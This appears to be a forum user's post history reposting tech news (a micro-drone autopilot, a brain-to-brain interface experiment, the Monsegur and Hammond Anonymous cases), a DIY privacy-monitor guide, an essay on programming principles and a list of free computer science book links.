-
Posts
3206 -
Joined
-
Days Won
87
Everything posted by Fi8sVrs
-
off:Categorie gresita, on: ce face acest soft?
-
TU Delft researchers design and build the world’s smallest autopilot for micro aircraft Researcher Bart Remes and his team of the Micro Aerial Vehicle Laboratory at the TU Delft faculty of Aerospace Engineering have designed, built and tested the world’s smallest open source autopilot for small unmanned aircraft. A smaller – and lighter – autopilot allows these small flying robots to fly longer, fit into narrower spaces or carry more payloads, such as cameras. That makes them more suitable to be used in for example rescue operations. Remes: “Our aim? Make MAVs so small and light that every fireman can fit one in his pocket. The world’s smallest autopilot The world’s smallest autopilot for micro aerial vehicles – small flying robots that can be used in safety and rescue operations – is called Lisa/S. It weighs 1.9 grams, more than 30 grams less than its predecessor. The autopilot measures 2 cm by 2 cm. Bart Remes, project manager at the Micro Aerial Vehicle Laboratory at TU Delft: “We programmed new software, Superbitrf, that keeps the autopilot connected to a ground station and a normal RC transmitter at the same time.” This combination of functions made it possible to miniaturize the autopilot. Making the autopilot smaller and lighter allows a micro aerial vehicle to stay up in the air longer and carry heavier cameras and sensors. This makes it easier to use MAVs in for example search and rescue operations. Open source The research team have chosen to develop Lisa/s open source to make it possible for users to test it and come up with suggestions for improvement. Making all the details available online also helps to make MAVs easily accessible for all. Remes: “Our aim is to make MAVs as commonplace as smartphones and laptops. Farmers can use MAVs to inspect crops for example. Our dream is that every fire fighter carries a MAV in his breast pocket to use for inspections of collapsed or burning buildings without having to go inside.” MAV Lab The TU Delft Micro Aerial Vehicle Lab researches and designs small unmanned autonomous flying robots. More information: Software on the autopilot: open source autopilot paparazzi Paparazzi Hardware electronics will be sold (from January 2014) by 1 BIT SQUARED - The best source for high end personal UAV hardware. Onboard software paparazzi: Lisa/S - Paparazzi Telemetry module superbitrf: SuperbitRF - Paparazzi Via: Delft University of Technology: Cookie wet
-
University of Washington researchers have performed what they believe is the first noninvasive human-to-human brain interface, with one researcher able to send a brain signal via the Internet to control the hand motions of a fellow researcher. University of Washington University of Washington researcher Rajesh Rao, left, plays a computer game with his mind. Across campus, researcher Andrea Stocco, right, wears a magnetic stimulation coil over the left motor cortex region of his brain. Stocco’s right index finger moved involuntarily to hit the “fire” button as part of the first human brain-to-brain interface demonstration. Using electrical brain recordings and a form of magnetic stimulation, Rajesh Rao sent a brain signal to Andrea Stocco on the other side of the UW campus, causing Stocco’s finger to move on a keyboard. While researchers at Duke University have demonstrated brain-to-brain communication between two rats, and Harvard researchers have demonstrated it between a human and a rat, Rao and Stocco believe this is the first demonstration of human-to-human brain interfacing. “The Internet was a way to connect computers, and now it can be a way to connect brains,” Stocco said. “We want to take the knowledge of a brain and transmit it directly from brain to brain.” The researchers captured the full demonstration on video recorded in both labs. The following version has been edited for length. This video and high-resolution photos also are available on the research website. Rao, a UW professor of computer science and engineering, has been working on brain-computer interfacing in his lab for more than 10 years and just published a textbook on the subject. In 2011, spurred by the rapid advances in technology, he believed he could demonstrate the concept of human brain-to-brain interfacing. So he partnered with Stocco, a UW research assistant professor in psychology at the UW’s Institute for Learning & Brain Sciences. On Aug. 12, Rao sat in his lab wearing a cap with electrodes hooked up to an electroencephalography machine, which reads electrical activity in the brain. Stocco was in his lab across campus wearing a purple swim cap marked with the stimulation site for the transcranial magnetic stimulation coil that was placed directly over his left motor cortex, which controls hand movement. The team had a Skype connection set up so the two labs could coordinate, though neither Rao nor Stocco could see the Skype screens. Rao looked at a computer screen and played a simple video game with his mind. When he was supposed to fire a cannon at a target, he imagined moving his right hand (being careful not to actually move his hand), causing a cursor to hit the “fire” button. Almost instantaneously, Stocco, who wore noise-canceling earbuds and wasn’t looking at a computer screen, involuntarily moved his right index finger to push the space bar on the keyboard in front of him, as if firing the cannon. Stocco compared the feeling of his hand moving involuntarily to that of a nervous tic. “It was both exciting and eerie to watch an imagined action from my brain get translated into actual action by another brain,” Rao said. “This was basically a one-way flow of information from my brain to his. The next step is having a more equitable two-way conversation directly between the two brains.” University of Washington The cycle of the experiment. Brain signals from the “Sender” are recorded. When the computer detects imagined hand movements, a “fire” command is transmitted over the Internet to the TMS machine, which causes an upward movement of the right hand of the “Receiver.” This usually results in the “fire” key being hit. The technologies used by the researchers for recording and stimulating the brain are both well-known. Electroencephalography, or EEG, is routinely used by clinicians and researchers to record brain activity noninvasively from the scalp. Transcranial magnetic stimulation is a noninvasive way of delivering stimulation to the brain to elicit a response. Its effect depends on where the coil is placed; in this case, it was placed directly over the brain region that controls a person’s right hand. By activating these neurons, the stimulation convinced the brain that it needed to move the right hand. Computer science and engineering undergraduates Matthew Bryan, Bryan Djunaedi, Joseph Wu and Alex Dadgar, along with bioengineering graduate student Dev Sarma, wrote the computer code for the project, translating Rao’s brain signals into a command for Stocco’s brain. “Brain-computer interface is something people have been talking about for a long, long time,” said Chantel Prat, assistant professor in psychology at the UW’s Institute for Learning & Brain Sciences, and Stocco’s wife and research partner who helped conduct the experiment. “We plugged a brain into the most complex computer anyone has ever studied, and that is another brain.” At first blush, this breakthrough brings to mind all kinds of science fiction scenarios. Stocco jokingly referred to it as a “Vulcan mind meld.” But Rao cautioned this technology only reads certain kinds of simple brain signals, not a person’s thoughts. And it doesn’t give anyone the ability to control your actions against your will. Both researchers were in the lab wearing highly specialized equipment and under ideal conditions. They also had to obtain and follow a stringent set of international human-subject testing rules to conduct the demonstration. “I think some people will be unnerved by this because they will overestimate the technology,” Prat said. “There’s no possible way the technology that we have could be used on a person unknowingly or without their willing participation.” Stocco said years from now the technology could be used, for example, by someone on the ground to help a flight attendant or passenger land an airplane if the pilot becomes incapacitated. Or a person with disabilities could communicate his or her wish, say, for food or water. The brain signals from one person to another would work even if they didn’t speak the same language. Rao and Stocco next plan to conduct an experiment that would transmit more complex information from one brain to the other. If that works, they then will conduct the experiment on a larger pool of subjects. Their research was funded in part by the National Science Foundation’s Engineering Research Center for Sensorimotor Neural Engineering at the UW, the U.S. Army Research Office and the National Institutes of Health. ### For more information, contact Rao at rao@cs.washington.edu or 206-685-9141, and Stocco at stocco@uw.edu or 206-685-8610. Video and high-resolution photos are available on the research website. Source: Researcher controls colleague’s motions in 1st human brain-to-brain interface | UW Today
-
- andrea stocco
- brain
-
(and 2 more)
Tagged with:
-
Finally you can do something with that old LCD monitor you have in the garage. You can turn it into a privacy monitor! It looks all white to everybody except you, because you are wearing "magic" glasses! All you really have to have is a pair of old glasses, x-acto knife or a box cutter and some solvent (paint thinner) Here is what I used: an LCD monitor of course single use 3D glasses from the movie theater (old sunglasses are just fine) paint thinner (or some other solvent such as toluene, turpentine, acetone, methyl acetate, ethyl acetate etc) box cutter (and CNC laser cutter) but that you don't really need, I'm sure x-acto knife and a steady hand would do just fine) screwdriver or a drill paper towels superglue Step 1: Take the monitor apart Find an old monitor that you are willing to sacrifice. Take off the plastic frame by unscrewing all screws from the back. Step 2: Cut the polarized film Most LCD monitors have two films on the glass - a polarized one to filter out the light you are not supposed to see, and a frosted anti-glare film. The anti-glare film we don't need, the polarized one we do - it is used for the glasses. So, grab you cutting tool and cut the films along the edge. Don't be afraid to press, metal wont scratch the glass, unless there is sand or other abrasives on it. Then, start peeling. Make sure to save the polarized film, also remember the orientation. Step 3: Clean the film adhesive After you remove the film, the glue will likely remain stuck to the glass, so here comes the messy part. With some solvent, soften the glue and wipe it off with paper towels. I started with OOPS, but that was not fast enough so I got some paint thinner. I found out that if you cover the screen with paper towels and then soak them in paint thinner you can let it sit longer and dissolve the adhesive without running and evaporating. Scrape off the soft glue with a piece of plastic or wood. Be careful not to get paint thinner on the plastic frame, because it will dissolve it. Step 4: Monitor - done After cleaning the adhesive, assemble everything back the way it was. Before even making the glasses, you can test the monitor with the polarized film! Notice how the upper left corner looks clear, because it has the anti-glare film removed. That is the part we are going to use to make the glasses. Step 5: Pop the lenses out For the glasses, I used single use 3D glasses from the movie theater, but you can use whatever you want. Pop out the lenses or take the glasses apart if you can. Step 6: Scan, Trace, Cut If you are going to use a cnc blade or laser cutter, scan and trace the parts. You can find a local vinyl or laser cutting service, or you could send them to an online service like Outfab.com I scanned the frames so I can use them as a reference for the lens orientation. Remember, this is a polarized film so the angle is critical. Back and front also matters. If you don't have access to a cnc cutter or you don't want to wait for an online service, you can probably tape the old lenses on the film and then cut them out with an x-acto knife. Step 7: Reassemble glasses and enjoy! Finally assemble the glasses and you are ready for some fun! People might think you are crazy, staring at a blank white screen wearing sunglasses! But I guess that makes it even more fun! Source Privacy monitor hacked from an old LCD Monitor
-
In the last few years, I have seen a little great code, some good code, a lot of mediocre code, and overwhelming amounts of bad code. (A shocking amount of my own code from previous years – especially when I was just starting – goes in the last two categories, alas.) The longer I have been at it and the more I have read (whether random articles on the web or the excellent Code Complete), the more I have concluded that good programming is simple. Incredibly hard, but simple. In fact, it is so simple, that you can sum it up in three short, easy to remember rules: Write code for people, not for computers. Don’t repeat yourself. Only do one thing at a time. If you can remember to practice each of these things, you can write good code. The problem is that they’re all hard. They require discipline, and the latter two in particular sometimes require careful thought. But if you get them right, you can write good software in any language, in any paradigm. Write code for people, not for computers This is the most important of the three rules, and the foundation underpinning the latter two. Write your code in such a way that people can understand it. Use meaningful variable names. Don’t use a complicated program flow where a simple one will do. Break your logic down into discrete chunks. Don’t “golf” and try to cram as much into a single line as possible. Use a code style that has some white space in it, that breathes a little. If your files start getting painfully long to scroll through, break them apart into separate files. Make it easy on people and let the computer do the hard bits. Many programmers try to write for computers. They try to do things in a way they think will be faster, or that reduces the size of the application, or any number of other computer goals. Those can be admirable aims, but they should always be secondary. Your first aim – always – should be to write code that people can understand. Your compiler or interpreter will handle quite a variety of styles of code. It will interpret n and numOfObjects equally happily. Humans, on the other hand, will not. And humans will be reading your code for a long time. This is true even of little tool scripts you write for yourself. Say you move on and then come back to it in a few years, but need to tweak it a little; which would you rather read: a well-commented script with meaningful method and variable names, or one without comments and with meaningless names? So write for people. Write for the people who will be maintaining the code – either your future self, or others. Make it easy to understand what you’re doing. If you have to do something clever to optimize a particular piece of code, write clear comments explaining exactly what your optimization does and why so that someone who comes along later will know what in the world is going on. And remember that, in most cases, you won’t be able to out-optimize the compiler or interpreter anyway. A simple reality: compilers and interpreters are smarter than you. That’s not up for debate; its a simple fact. They’ve been improved over the course of decades by some absolutely brilliant thinkers and enormous amounts of hard work. There are exceptions to this rule, but it remains a rule nonetheless. Write code for people, not for computers. Don’t repeat yourself I can’t count the number of times I’ve found the same chunk of code repeated in different places. Just today, I was working through a large function in legacy code and saw precisely the same pattern in two different parts of a conditional structure. I double-checked that there wasn’t anything weird going on, and then I promptly moved it out of the conditional. When you repeat the same code in multiple places, you make it harder to maintain. Without fail, you’ll go back to make a change and miss one or more of the places you have that code. So instead of repeating yourself, find a way to put the code in one place and just reuse it. Make a function, or a class method, that you can just call whenever you need that functionality. If you call the same set of methods over and over again in the same way, wrap that pattern up in its own function. This not only prevents you from making mistakes when you make changes, it also makes it easier to understand the code. Consider: is it easier, reading through a program for the first time (or the first time in a while) to understand a 30-line section deciding how to deallocate a block of memory, or to just call clearMapVariableMemory()? I can tell you which I’d prefer: the latter, every single time. You can always go look at the details later, but even then, it’s much easier to understand when it’s a standalone function. The same principle can be applied to data as well as functions. If there is a set of variables you’re acting on frequently, instead of declaring them over and over again individually, or passing them around to methods repeatedly, encapsulate them in a class or a type and use that instead. Then, any changes to those data elements get captured universally – no need to go refactor in a dozen different places in the code. Don’t repeat yourself. Your code will be much easier to maintain and understand. Only do one thing at a time Last but not least, and building on each of the two principles outlined above: each piece of your code should only do one thing at a time. This is true at every level: statements, functions and methods, and classes and objects. A few years ago, another software developer showed me a buggy piece of code that had taken him several hours to sort out. He eventually traced the problem down to compiler-specific behavior on post-increment operators on pointers in C. (As it turns out, the C standard is nonspecific about the very unusual corner case he had discovered.) Fresh off reading Code Complete, though, I noted that the real problem wasn’t the murky order of operations. It was that the statement in question was doing too many things at once. As I recall, the single line of code in question was part of a ternary statement that performed multiple steps of pointer arithmetic to compute the conditional, then multiple other steps of pointer arithmetic including that pesky post-increment operator depending on the outcome of that conditional. It was, first and foremost, a case of writing for the computer instead of another human: there’s no way anyone could know what the line did by reading it three times, much less once. More than that, it was a case of trying to do too many things at once. Had he simply separated out the logic so that the arithmetic leading to the conditional received its own statement, the conditional check its own statement, and the results their own statements – rather than combining them into a single, multi-line operation – the problem never would have come up in the first place. Keep it simple. Do one thing at a time. Make each line of code comprehensible on its own. Make each function something you can describe in a sentence. Don’t get and change and set data in the same function. Make each object represent a single entity, even if that entity is a composition of other entities. This keeps things comprehensible for people. None of us can hold all of a 2000-line method in our heads, and we shouldn’t have to, either: there’s never a good reason for a 2000-line method, instead of a series of smaller methods that make up the various parts of that big method. To be sure, you can get carried away with this, as with anything. Doing one thing at a time will mean writing plenty of methods that include many other methods. The point of each part of the code should be clear, though. The moment it isn’t, your comprehensibility goes down, maintainability goes down, and costs go up. Only do one thing at a time. Good programming in practice Good programming is hard work. I’ve been programming for four years now – not long, in the grand scheme of things, but long enough to see quite a few problems, my own not least. In that span, it’s become clear to me that we make good programming harder by not sticking to these simple rules. Getting them right is hard enough; it is not always obvious where to draw the line in a class or method. This is a skill; programmers have to invest real time and thought to be good programmers. But if we don’t follow these simple, we make all our tasks that much harder. Write code for people, not for computers. Don’t repeat yourself. Only do one thing at a time. Source
-
Jeremy Hammond (AFP Photo) Just as a former member of Anonymous accuses the United States government of coercing hackers to do their dirty work in America’s cyberwars, the sentencing hearing for the group’s alleged ex-ringleader has been mysteriously delayed yet again. One day after a statement was released by convicted Anonymous member Jeremy Hammond from behind bars, news has surfaced that the hacker-turned-informant who compromised the underground movement for the FBI and helped facilitate Hammond’s arrest will remain free for now. Hector Xavier Monsegur, a single father from New York involved with a number of high-profile hacks carried out by Anonymous and its offshoots, had been scheduled to be sentenced Friday in Manhattan. That morning, however, his sentencing hearing was revealed to be postponed until October. Hector Xavier Monsegur Monsegur pleaded guilty to a dozen criminal counts two years prior and stands to face more a maximum sentence of more than 124 years. Just one day before his expected hearing, an ex-colleague within the ranks of Monsegur's cyber-clan published a statement in which he suggested the US government gave Anonymous the ammunition to take down foreign targets, and directed those orders through a cast of characters who took direction from the infamous informant. RT reported previously that Monsegur, better known by his Internet handle “Sabu,” was scheduled to be sentenced on Friday after a federal judge decided twice already to postpone previous hearings that would have sealed the turncoat’s fate. For the third time in 12 months, however, the United States District Court for the Southern District of New York elected once again to adjourn the hearing Friday morning without handing out a punishment. Lulz Security A spokesperson for the court told RT over the phone on Friday that Monsegur’s sentencing has been moved to October 25, 2013 at 2:30 p.m. Should District Judge Loretta Preska make a determination at that time, it will come 28 months after Monsegur was arrested for his connection with a series of hacks that impacted the websites and servers of Sony, PBS, News Corp, Stratfor and others. Those operations were carried out by hacktivists aligned to Anonymous and its offshoots Lulz Security and Anti-Sec, and a number of individuals in the US and abroad have been arrested, indicted, convicted and sentenced already for their involvement with those groups thanks to Monsegur’s cooperation with the authorities. Assistant US Attorney James Pastore said previously that Monsegur has been cooperating with the government proactively since “literally the day he was arrested.” When Judge Preska authorized a sentencing hearing for Monsegur that was slated for six months ago, she signed-off on postponing her decision “in light of the defendant’s ongoing cooperation with the Government.” Representatives at both the District Court and the office of lead prosecutor, US Attorney Preet Bharara, declined to cite why Preska has postponed sentencing for another two months, but Friday’s news marks the third instance in which she has agreed to delay her decision in the case. It also comes just days after a leading FBI cyber-cop declared the Anonymous movement all but dead and cited the arrests that stemmed from Monsegur’s cooperation as the catalyst in their demise. Austin P. Berglas, assistant special agent in charge of the FBI's cyber division in New York, told Huffington Post this week that the arrests of five LulzSec hackers in March 2012 had a “huge deterrent effect” on Anonymous and brewed distrust within the movement. Austin P. Berglas (Image from thebigthrill.org) Among those top-dogs taken down last year is Jeremy Hammond, a 28-year-old political activist from Chicago who has been in confinement since his arrest 17 months ago. Hammond pleaded guilty earlier this year to a number of computer crimes in a deal that will allow him to escape a possible life sentence. On Thursday, a website managed by Hammond’s supporters published a statement the hacktivist penned from behind bars in advance of Monsegur’s since-adjourned sentencing. Hon. Loretta Preska, Chief Judge, Southern District of New York (Image from uscourts.gov) In an earlier statement published by Hammond in February, he wrote that the US government “and numerous federally-contracted private corporations openly recruit hackers to develop defensive and offensive capabilities and build Orwellian digital surveillance networks, designed not to enhance national security but to advance US imperialism.” Attempts to enlist hackers for such activity, he said, “should be boycotted or confronted every step of the way.” Hammond is expected to be sentenced in November by Judge Preska to a maximum of ten years in prison, but attorneys working with related cases have said previously that they don’t expect Monsegur to be sent away until the FBI has finished with Anonymous. When Monsegur’s February 2013 hearing was postponed, attorney Jay Leiderman said he thought the case would be continuously delayed “until he either testifies against Hammond or Hammond pleads guilty.” Leiderman is not working on the Monsegur case, but is co-representing Matthew Keys, a journalist who was indicted in March with conspiring to damage a computer system after allegedly enlisting members of Anonymous to deface a former employer’s website. Federal prosecutors have since filed a Notice of Related Cases motion linking the Keys and Monsegur matters since the Anon-turned-informant “appeared in the Internet chat log at the core of the Keys case, and, in that chat log, offered advise on how to conduct the network intrusion” for which the journalist was indicted. USA vs. Keys: Related Cases by Matthew Keys In public tweets Friday morning about the latest Monsegur adjournment, Leiderman wrote, “Don't expect him to get sentenced until the Keys case is over, at very least.” Monsegur’s new sentencing hearing is scheduled shortly after Keys’ next date, Leiderman added. Meanwhile, the FBI’s claims about dismantling Anonymous may be only instigating the collective further. OpLastResort, an Anonymous-affiliated Twitter account, released on Friday what’s alleged to be the personal information pertaining to roughly 23,000 employees of the US Federal Reserve. Via: Hacker accuses US government of tricking Anonymous into attacking foreign targets — RT USA
-
[LIST=1]List http://www.coderholic.com/25-free-computer-science-books/ 25 free books on computer science http://refcardz.dzone.com/ cribs http://blogs.msdn.com/wriju/archive/2009/01/07/free-ebooks-at-codeplex.aspx CodePlex: The list of free books http://www.freetechbooks.com/ Free technical books http://www.galileocomputing.de/katalog/openbook Galileo Computing (German) http://www.htdp.org/2003-09-26/Book/ How to Design Programs: An Introduction to Computing and Programming http://blogs.msdn.com/b/microsoft_press/archive/2011/03/03/ebooks-list-of-our-free-books.aspx Microsoft Press: http://www.mindviewinc.com/Books/ MindView Inc http://oreilly.com/openbook/ ?????? O'Reilly's Open Books http://www.techbooksforfree.com/ TechBooksForFree.com http://theassayer.org/ Theassayer.org http://en.wikibooks.org/wiki/Category%3aComputer_programming Wikibooks: programming http://hackershelf.com/browse/ graphics programming http://www.xmission.com/~legalize/book/download/index.html DirectX manual (????????) http://www.arcsynthesis.org/gltut/ Learning Modern 3D Graphics Programming (????????) http://http.developer.nvidia.com/GPUGems/gpugems_part01.html GPU Gems http://http.developer.nvidia.com/GPUGems2/gpugems2_part01.html GPU Gems 2 — ftp://download.nvidia.com/developer/GPU_Gems_2/ ????? 8,14,18,29,30 ? pdf http://http.developer.nvidia.com/GPUGems3/gpugems3_part01.html GPU Gems 3 http://www.gamedev.net/reference/articles/article1698.asp Graphics Programming Black Book http://tog.acm.org/resources/shaderx/ ShaderX series http://programmer.97things.oreilly.com/ 97 Things Every Programmer Should Know http://www.ethoberon.ethz.ch/WirthPubl/AD.pdf Algorithms and Data-Structures (PDF) http://www.cs.berkeley.edu/~vazirani/algorithms.html Algorithms (????????) http://www.aosabook.org/en/index.html The Architecture of Open Source Applications http://catb.org/esr/writings/taoup/html/ The Art of Unix Programming http://smartbear.com/codecollab-code-review-book.php Best Kept Secrets of Peer Code Review http://cslibrary.stanford.edu/110/BinaryTrees.pdf Binary Trees http://www.catb.org/esr/writings/cathedral-bazaar/ The Cathedral and the Bazaar http://www.cleveralgorithms.com/nature-inspired/index.html Clever Algorithms http://www.usingcsp.com/cspbook.pdf Communicating Sequential Processes (PDF) — Tony Hoare http://www-old.oberon.ethz.ch/WirthPubl/CBEAll.pdf Compiler Construction (PDF) http://scpd.stanford.edu/knuth/index.jsp Computer Musings (Donald Knuth — ??????) http://dotnetslackers.com/projects/Data-Structures-And-Algorithms/ Data Structures and Algorithms: Annotated Reference with Examples http://public.dhe.ibm.com/software/dw/db2/express-c/wiki/Database_fundamentals.pdf Database Fundamentals (PDF) http://www.umiacs.umd.edu/~jimmylin/MapReduce-book-final.pdf Data-Intensive Text Processing with MapReduce (PDF) http://nexus.realtimepublishers.com/dgbcq.php The Definitive Guide to Building Code Quality http://designinginterfaces.com Designing Interfaces Jennifer Tidwell http://www.dspguide.com/ Digital Signal Processing For Engineers and Scientists http://www.infoq.com/minibooks/domain-driven-design-quickly Domain Driven Design Quickly http://www.neildavidson.com/dontjustrollthedice.html Don't Just Roll the Dice http://cs.gmu.edu/~sean/book/metaheuristics/ Essentials of Metaheuristics Sean Luke http://elliottback.com/wp/essential-skills-for-agile-development/ Essential Skills for Agile Development http://dces.essex.ac.uk/staff/rpoli/gp-field-guide/toc.html A Field Guide To Genetic Programming http://jpaulmorrison.com/fbp/#book Flow based Programming http://infolab.stanford.edu/~ullman/focs.html Foundations of Computer Science — Al Aho ? Jeff Ullman http://codebetter.com/files/folders/codebetter_downloads/entry179694.aspx Foundations of Programming http://gettingreal.37signals.com/ Getting Real http://public.dhe.ibm.com/software/dw/db2/express-c/wiki/Getting_started_with_open_source_development_p2.pdf Getting started with Open source development (PDF) http://cslibrary.stanford.edu/109/TreeListRecursion.pdf The Great Tree List Recursion Problem http://www.computer.org/portal/web/swebok Guide to the Software Engineering Body of Knowledge http://www.fastchip.net/howcomputerswork/p1.html How Computers Work http://www.htdp.org/ How to Design Programs http://openbookproject.net/thinkcs/ How to Think Like a Computer Scientist http://www.lindaspaces.com/book/ How to Write Parallel Programs http://mindprod.com/jgloss/unmain.html How to write Unmaintainable Code http://www.amibug.com/iamabug/p01.html I Am a Bug http://www.cse.ohio-state.edu/~gurari/theory-bk/theory-bk.html An Introduction to the Theory of Computation http://www.cl.cam.ac.uk/teaching/Lectures/funprog-jrh-1996/ Introduction to Functional Programming http://nlp.stanford.edu/IR-book/information-retrieval-book.html Introduction to Information Retrieval http://kernel.org/pub/linux/kernel/people/paulmck/perfbook/perfbook.html Is Parallel Programming Hard, And, If So, What Can You Do About It? http://pine.fm/LearnToProgram/ Learn to Program http://www.stack.nl/~marcov/compiler.pdf Let's Build a Compiler http://www.iecc.com/linker/ Linkers and loaders http://cslibrary.stanford.edu/103/LinkedListBasics.pdf Linked List Basics http://cslibrary.stanford.edu/105/LinkedListProblems.pdf Linked List Problems http://www.ii.uib.no/~michal/und/i227/book/book.pdf Mathematical Logic — an Introduction (PDF) http://www.jjj.de/fxt/#fxtbook Matters Computational http://infolab.stanford.edu/~ullman/mmds.html Mining of Massive Datasets http://homepages.inf.ed.ac.uk/dts/pm/Papers/nasa-manage.pdf NASA Manager Handbook for Software Development (PDF) http://www.scribd.com/doc/7181362/NASA-Software-Measurement-Guidebook NASA Software Measurement Handbook http://scg.unibe.ch/download/oorp/ Object-Oriented Reengineering Patterns http://ocw.mit.edu/OcwWeb/web/home/home/index.htm Online Course Materials http://homepage.mac.com/s_lott/books/oodesign.html OO Design https://gustavus.edu/mcs/max/os-book/ Operating Systems and Middleware (PDF ? LaTeX) http://www.codeplex.com/AppArchGuide Patterns and Practices: Application Architecture Guide 2.0 http://www.dreamsongs.com/Files/PatternsOfSoftware.pdf Patterns of Software: Tales from the Software Community (PDF) http://planning.cs.uiuc.edu/ Planning Algorithms http://www.libpng.org/pub/png/book/ PNG: The Definitive Guide http://cslibrary.stanford.edu/102/PointersAndMemory.pdf Pointers And Memory http://producingoss.com/ Producing Open Source Software http://www.cs.brown.edu/~sk/Publications/Books/ProgLangs/ Programming Languages: Application and Interpretation http://www.stanford.edu/class/cs106a/cgi-bin/handouts/ Programming Methodology http://cs.bell-labs.com/cm/cs/pearls/ Programming Pearls http://www-old.oberon.ethz.ch/WirthPubl/ProjectOberon.pdf Project Oberon (PDF) http://www.bon-method.com/book_print_a4.pdf Seamless Object-Oriented Software Architecture http://www.cl.cam.ac.uk/~rja14/book.html Security Engineering http://mitpress.mit.edu/sicp/ Structure and Interpretation of Computer Programs http://domaindrivendesign.org/sites/default/files/discussion/PatternSummariesUnderCreativeCommons.doc Summary of the GoF Design Patterns http://greenteapress.com/semaphores/ The Little Book of Semaphores http://www.tcpipguide.com/free/t_toc.htm The TCP/IP Guide http://greenteapress.com/thinkstats/ Think Stats: Probability and Statistics for Programmers https://www.cs.kent.ac.uk/people/staff/sjt/TTFP/ Type Theory and Functional Programming http://www.apnic.net/__data/assets/pdf_file/0020/8147/501302.pdf Understanding IP Addressing: Everything you ever wanted to know (PDF) Autotools http://sourceware.org/autobook/ GNU Autoconf, Automake and Libtool ASP.NET MVC http://weblogs.asp.net/scottgu/archive/2009/03/10/free-asp-net-mvc-ebook-tutorial.aspx NerdDinner Walkthrough Assembly Language http://download.savannah.gnu.org/releases/pgubook/ProgrammingGroundUp-1-0-booksize.pdf Programming from the Ground Up (PDF) http://drpaulcarter.com/pcasm/ Paul Carter's Tutorial on x86 Assembly http://www.agner.org/optimize/ Software optimization resources by Agner Fog Bash http://tldp.org/LDP/abs/html/ Advanced Bash-Scripting Guide http://www.tldp.org/LDP/Bash-Beginners-Guide/html/ Bash Guide for Beginners Machtelt Garrels http://mywiki.wooledge.org/BashGuide Lhunath's Bash Guide http://learncodethehardway.org/cli/book/ The Command Line Crash Course C / C++ http://beej.us/guide/bgnet/ Beej's Guide to Network Programming http://beej.us/guide/bgc/ Beej's Guide to C Programming http://publications.gbdirect.co.uk/c_book/ The C book http://cppannotations.sourceforge.net/ C++ Annotations http://www.computer-books.us/cpp_0010.php C++ GUI Programming With Qt 3 http://www.stanford.edu/class/cs106x/ CS106X Programming Abstractions in C++ http://cslibrary.stanford.edu/101/EssentialC.pdf Essential C http://cartan.cas.suffolk.edu/oopdocbook/opensource/index.html Introduction to Design Patterns in C++ with Qt 4 ( http://www.informit.com/store/product.aspx?isbn=0131879057 PDF ) http://c.learncodethehardway.org/book/ Learn C the hard way http://www.jjj.de/fxt/fxtbook.pdf Matters Computational: Ideas, Algorithms, Source Code, by Jorg Arndt http://www.knosof.co.uk/cbook/cbook.html The new C standard — an annotated reference http://www.planetpdf.com/codecuts/pdfs/ooc.pdf Object Oriented Programming in C (PDF) http://www.agner.org/optimize/ Software optimization resources by Agner Fog http://www.mindview.net/Books/TICPP/ThinkingInCPP2e.html Thinking in C++, Second Edition ?????: http://stackoverflow.com/q/388242/511601 The Definitive C++ Book Guide and List C# Clojure http://en.wikibooks.org/wiki/Clojure_Programming Clojure Programming http://java.ociweb.com/mark/clojure/article.html Clojure — Functional Programming for the JVM CoffeeScript http://autotelicum.github.com/Smooth-CoffeeScript/SmoothCoffeeScript.html Smooth CoffeeScript http://arcturo.github.com/library/coffeescript/ The Little Book on CoffeeScript ColdFusion https://github.com/mhenke/CFML-in-100-minutes/blob/master/cfml100mins.markdown CFML In 100 Minutes DB2 http://public.dhe.ibm.com/software/dw/db2/express-c/wiki/Getting_Started_with_DB2_Express_v9.7_p4.pdf Getting started with DB2 Express-C (PDF) http://public.dhe.ibm.com/software/dw/db2/express-c/wiki/Getting_Started_with_IBM_Data_Studio_for_DB2_p3.pdf Getting started with IBM Data Studio for DB2 (PDF) http://public.dhe.ibm.com/software/dw/db2/express-c/wiki/Getting_Started_with_DB2_App_Dev_p2.pdf Getting started with IBM DB2 development (PDF) Delphi / Pascal http://www.marcocantu.com/epascal/ Essential Pascal Version 1 and 2 http://www.lulu.com/content/435417 The Tomes of Delphi Django http://djangobook.com/ Djangobook.com Emacs http://shop.fsf.org/product/gnu-emacs-manual-16th-edition/ GNU Emacs Manual, 16th Edition, v. 22 http://www.gnu.org/software/emacs/emacs-lisp-intro/ An Introduction to Programming in Emacs Lisp, 3rd Edition Erlang http://learnyousomeerlang.com/ Learn You Some Erlang For Great Good Flex http://public.dhe.ibm.com/software/dw/db2/express-c/wiki/Getting_Started_with_Adobe_Flex_p2.pdf Getting started with Adobe Flex (PDF) F# http://www.ctocorner.com/fsharp/book/ch0.aspx The F# Survival Guide http://en.wikibooks.org/wiki/F_Sharp_Programming F Sharp Programming http://msdn.microsoft.com/en-us/library/hh314518.aspx Real World Functional Programming Forth http://home.iae.nl/users/mhx/sf.html Starting Forth http://thinking-forth.sourceforge.net/ Thinking Forth Git http://progit.org/book/ Pro Git http://book.git-scm.com/index.html The Git Community Book http://ftp.newartisans.com/pub/git.from.bottom.up.pdf Git From The Bottom Up (PDF) Go http://golang.org/doc/go_tutorial.html The Go Tutorial http://www.reddit.com/r/golang/comments/1kqihe/planning_to_teach_myself_go_on_a_plane_tomorrow/ Books and manuals on Grails http://www.infoq.com/minibooks/grails-getting-started Getting Start with Grails Haskell http://learnyouahaskell.com/chapters Learn You a Haskell http://book.realworldhaskell.org/read/ Real World Haskell http://chimera.labs.oreilly.com/books/1230000000929/index.html Parallel and Concurrent Programming in Haskell HTML / CSS http://fortuito.us/diveintohtml5/ Dive Into HTML5 http://www.htmldog.com/ HTML Dog Tutorials Java http://www.phptr.com/content/images/013143697X/downloads/013143697X_book.pdf Java Application Development on Linux by Carl Albing and Michael Schwarz(PDF) http://greenteapress.com/thinkapjava/ How to Think Like a Computer Scientist http://download.oracle.com/javaee/6/tutorial/doc/javaeetutorial6.pdf The Java EE6 Tutorial (PDF) http://www.redbooks.ibm.com/redbooks/SG245118.html Java Thin-Client Programming http://download.oracle.com/javase/tutorial/ Sun's Java Tutorials http://www.mindview.net/Books/TIJ/ Thinking in Java http://njbartlett.name/files/osgibook_preview_20091217.pdf OSGi in Practice (PDF) http://www.mkyong.com/ Category wise tutorials — J2EE http://math.hws.edu/javanotes/index.html Introduction to Programming Using Java — David J. Eck JavaScript http://www.crockford.com/javascript/ Crockford's JavaScript http://eloquentjavascript.net/ Eloquent JavaScript http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/ Essential Javascript & jQuery Design Patterns for Beginners 